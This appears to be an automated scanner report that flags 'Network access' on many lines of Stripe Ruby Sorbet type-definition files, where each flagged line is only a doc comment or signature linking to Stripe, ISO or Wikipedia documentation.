} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the - Network accessline 195
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s - Network accessline 196
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 234
sig { params(_id: T.nilable(String)).returns(T.nilable(String)) } def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional - Network accessline 235
def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can - Network accessline 236
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 241
} def metadata=(_metadata); end # The ID of the [Price](https://docs.stripe.com/api/prices). One of `price` or `price_data` is required when creating a new line item. - Network accessline 242
def metadata=(_metadata); end # The ID of the [Price](https://docs.stripe.com/api/prices). One of `price` or `price_data` is required when creating a new line item. sig { returns(T.nilable(String)) } - Network accessline 243
# The ID of the [Price](https://docs.stripe.com/api/prices). One of `price` or `price_data` is required when creating a new line item. - Network accessline 246
sig { params(_price: T.nilable(String)).returns(T.nilable(String)) } def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required - Network accessline 247
def price=(_price); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required when creating a new line item. sig { returns(T.nilable(Checkout::Ses - Network accessline 248
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required when creating a new line item. - Network accessline 258
sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) } def quantity=(_quantity); end # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item. - Network accessline 259
def quantity=(_quantity); end # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item. sig { returns(T.nilable(T.any(String, T::Array[String]))) } - Network accessline 260
# The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item. - Network accessline 352
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://s - Network accessline 353
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) - Network accessline 354
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 357
sig { params(_currency: String).returns(String) } def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso- - Network accessline 358
def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://s - Network accessline 359
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 394
} def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struc - Network accessline 395
def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 396
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 406
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 407
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. sig { returns(T.nilable(String)) } - Network accessline 408
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 477
} def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 478
def line_items=(_line_items); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 479
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/climate/order_create_params.rbi
- Network accessline 27
} def beneficiary=(_beneficiary); end # Request currency for the order as a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a supported [settlement currency for your acco - Network accessline 28
def beneficiary=(_beneficiary); end # Request currency for the order as a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a supported [settlement currency for your account](htt - Network accessline 29
# Request currency for the order as a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a supported [settlement currency for your account](https://stripe.com/docs/currencies). If omitt - Network accessline 37
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 38
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 39
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/climate/order_update_params.rbi
- Network accessline 27
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 28
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 29
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/confirmation_token_create_params.rbi
- Network accessline 69
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 70
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 71
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 89
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 90
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 91
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 317
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra - Network accessline 318
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 319
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 588
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 589
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 590
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 686
} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 687
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(ConfirmationTokenCreateParams::PaymentMethodData::Radar - Network accessline 688
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 902
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 903
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 904
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 922
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 923
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 924
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 992
# Indicates that you intend to make future payments with this ConfirmationToken's payment method. # # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Paymen - Network accessline 993
# # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the - Network accessline 994
# The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/coupon_create_params.rbi
- Network accessline 35
} def applies_to=(_applies_to); end # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `amount_off` parameter (required if `amount_off` is passed). - Network accessline 36
def applies_to=(_applies_to); end # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `amount_off` parameter (required if `amount_off` is passed). sig { returns(T.nilable(String)) } - Network accessline 37
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `amount_off` parameter (required if `amount_off` is passed). - Network accessline 40
sig { params(_currency: T.nilable(String)).returns(T.nilable(String)) } def currency=(_currency); end # Coupons defined in each available currency option (only supported if `amount_off` is passed). Each key must be a three-letter [I - Network accessline 41
def currency=(_currency); end # Coupons defined in each available currency option (only supported if `amount_off` is passed). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [s - Network accessline 42
# Coupons defined in each available currency option (only supported if `amount_off` is passed). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe. - Network accessline 72
sig { params(_max_redemptions: T.nilable(Integer)).returns(T.nilable(Integer)) } def max_redemptions=(_max_redemptions); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can - Network accessline 73
def max_redemptions=(_max_redemptions); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 74
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/coupon_update_params.rbi
- Network accessline 14
def initialize(amount_off: nil); end end # Coupons defined in each available currency option (only supported if the coupon is amount-based). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-c - Network accessline 15
end # Coupons defined in each available currency option (only supported if the coupon is amount-based). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](htt - Network accessline 16
# Coupons defined in each available currency option (only supported if the coupon is amount-based). Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://str - Network accessline 26
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 27
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 28
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_create_params.rbi
- Network accessline 182
sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) } def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i - Network accessline 183
def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can - Network accessline 184
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_list_preview_line_items_params.rbi
- Network accessline 194
sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) } def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i - Network accessline 195
def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can - Network accessline 196
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_preview_lines_list_params.rbi
- Network accessline 194
sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) } def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i - Network accessline 195
def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can - Network accessline 196
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_preview_params.rbi
- Network accessline 182
sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) } def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i - Network accessline 183
def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can - Network accessline 184
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/credit_note_update_params.rbi
- Network accessline 15
sig { params(_memo: T.nilable(String)).returns(T.nilable(String)) } def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional i - Network accessline 16
def memo=(_memo); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can - Network accessline 17
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_balance_transaction_create_params.rbi
- Network accessline 10
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c - Network accessline 11
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Specifies the [`invoice_credit_balance`](h - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Specifies the [`invoice_credit_balance`](https://docs.stripe.com/api/cus - Network accessline 25
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 26
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 27
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_balance_transaction_update_params.rbi
- Network accessline 15
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 16
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 17
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_cash_balance_update_params.rbi
- Network accessline 6
class CustomerCashBalanceUpdateParams < ::Stripe::RequestParams class Settings < ::Stripe::RequestParams # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, - Network accessline 7
class Settings < ::Stripe::RequestParams # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these re - Network accessline 8
# Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https:
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_create_funding_instructions_params.rbi
- Network accessline 50
} def bank_transfer=(_bank_transfer); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 51
def bank_transfer=(_bank_transfer); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 52
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_create_params.rbi
- Network accessline 11
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ( - Network accessline 12
def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 13
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 31
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 32
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 33
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 50
class CashBalance < ::Stripe::RequestParams class Settings < ::Stripe::RequestParams # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `me - Network accessline 51
class Settings < ::Stripe::RequestParams # Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these - Network accessline 52
# Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https: - Network accessline 147
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country co - Network accessline 148
def city=(_city); end # A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 149
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 167
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 168
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 169
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 234
def initialize(type: nil, value: nil); end end # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer). - Network accessline 235
end # The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer). sig { returns(T.nilable(T.any(String, CustomerCreateP - Network accessline 236
# The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer). - Network accessline 290
} def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure - Network accessline 291
def invoice_settings=(_invoice_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form - Network accessline 292
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_fund_cash_balance_params.rbi
- Network accessline 5
module Stripe class CustomerFundCashBalanceParams < ::Stripe::RequestParams # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stri - Network accessline 6
class CustomerFundCashBalanceParams < ::Stripe::RequestParams # Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencie - Network accessline 7
# Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to fund $1.00 or 100 to fund ¥100 - Network accessline 10
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c - Network accessline 11
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 20
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # A description of the test funding. This simulates free-text references supplied by customers when making bank tran - Network accessline 21
def expand=(_expand); end # A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm]( - Network accessline 22
# A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](https://docs.stripe.com/paymen
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_funding_instructions_create_params.rbi
- Network accessline 50
} def bank_transfer=(_bank_transfer); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 51
def bank_transfer=(_bank_transfer); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 52
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_create_params.rbi
- Network accessline 10
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 11
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 12
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 17
} def metadata=(_metadata); end # Please refer to full [documentation](https://api.stripe.com) instead. - Network accessline 18
def metadata=(_metadata); end # Please refer to full [documentation](https://api.stripe.com) instead. sig { returns(String) } - Network accessline 19
# Please refer to full [documentation](https://api.stripe.com) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_update_params.rbi
- Network accessline 12
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 13
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 14
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 32
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 33
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 34
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 131
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 132
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 133
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_search_params.rbi
- Network accessline 20
sig { params(_page: T.nilable(String)).returns(T.nilable(String)) } def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query - Network accessline 21
def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for customers](https://docs.stripe.com/search#query-fields-for-cu - Network accessline 22
# The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for customers](https://docs.stripe.com/search#query-fields-for-customers).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/customer_session_create_params.rbi
- Network accessline 17
